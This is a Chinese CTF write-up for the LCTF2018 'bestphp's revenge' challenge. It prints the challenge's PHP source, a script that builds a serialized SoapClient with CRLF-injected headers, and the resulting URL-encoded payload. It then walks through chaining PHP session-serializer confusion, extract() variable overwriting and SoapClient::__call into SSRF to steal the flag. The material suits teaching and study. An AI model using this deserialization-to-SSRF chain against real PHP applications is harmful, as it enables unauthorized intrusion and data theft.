当前位置: 首页 > article >正文

bestphp‘s revenge

bestphp’s revenge

知识点

php session反序列化

解题

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);  //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }
 
 
//flag.php  (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

构造:

<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//
 
 
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    'uri' => "http://127.0.0.1/"));
 
$se = serialize($b);
echo "|" . urlencode($se);

得到:

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

[外链图片转存中…(img-MVOphdGZ-1734773759164)]

将其模式换为php_serialize,然后序列化传入name

第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func( b , b, b,a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

a = a r r a y ( r e s e t ( a = array(reset( a=array(reset(_SESSION), ‘welcome_to_the_lctf2018’);前面就是SoapClient值了

[外链图片转存中…(img-152LvvGX-1734773759165)]

最后把PHPSESSID换成,我们一开始代码中的123456即可

[外链图片转存中…(img-dFAuCzWq-1734773759166)]


http://www.kler.cn/a/447525.html

相关文章:

  • STM32, GD32 cubemx CAN 低速率125kbps 报文丢失,解决了
  • 第二十四天 循环神经网络(RNN)LSTM与GRU
  • node express服务器配置orm框架sequilize
  • go mod tidy 命令
  • 简洁IIC协议讲述
  • SpringBoot+Vue3实现阿里云视频点播 实现教育网站 在上面上传对应的视频,用户开会员以后才能查看视频
  • linux内核网络分层概述
  • Vue中<script setup></script>的主要语法元素和特性
  • redis开发与运维-redis02-redis数据类型与命令总结
  • 使用C++调用YOLOv8模型的一般步骤
  • 首次成功尝试!使用多模态无监督聚类的语义发现
  • MySQL -- 库的相关操作
  • 性能】JDK和Jmeter的安装与配置
  • 12爬虫:scrapy爬虫框架
  • Day13 苍穹外卖项目 工作台功能实现、Apache POI、导出数据到Excel表格
  • 本地部署 MLflow 服务
  • 中宇联与亚马逊云科技共同推出Well-Architected联合解决方案
  • redis开发与运维-redis03-redis其他数据类型与命令(Bitmaps++HyperLogLog+GEO)
  • 基于pytorch的深度学习基础3——模型创建与nn.Module
  • 设计模式中单例模式中懒汉模式的问题
  • APM32F411使用IIS外设驱动es8388实现自录自播
  • Mono里运行C#脚本2—参数配置
  • 如何在Java中使用封装好的API接口?
  • 【Leetcode 热题 100】124. 二叉树中的最大路径和
  • 混合开发环境---使用编程AI辅助开发Qt
  • NOI与USACO的关系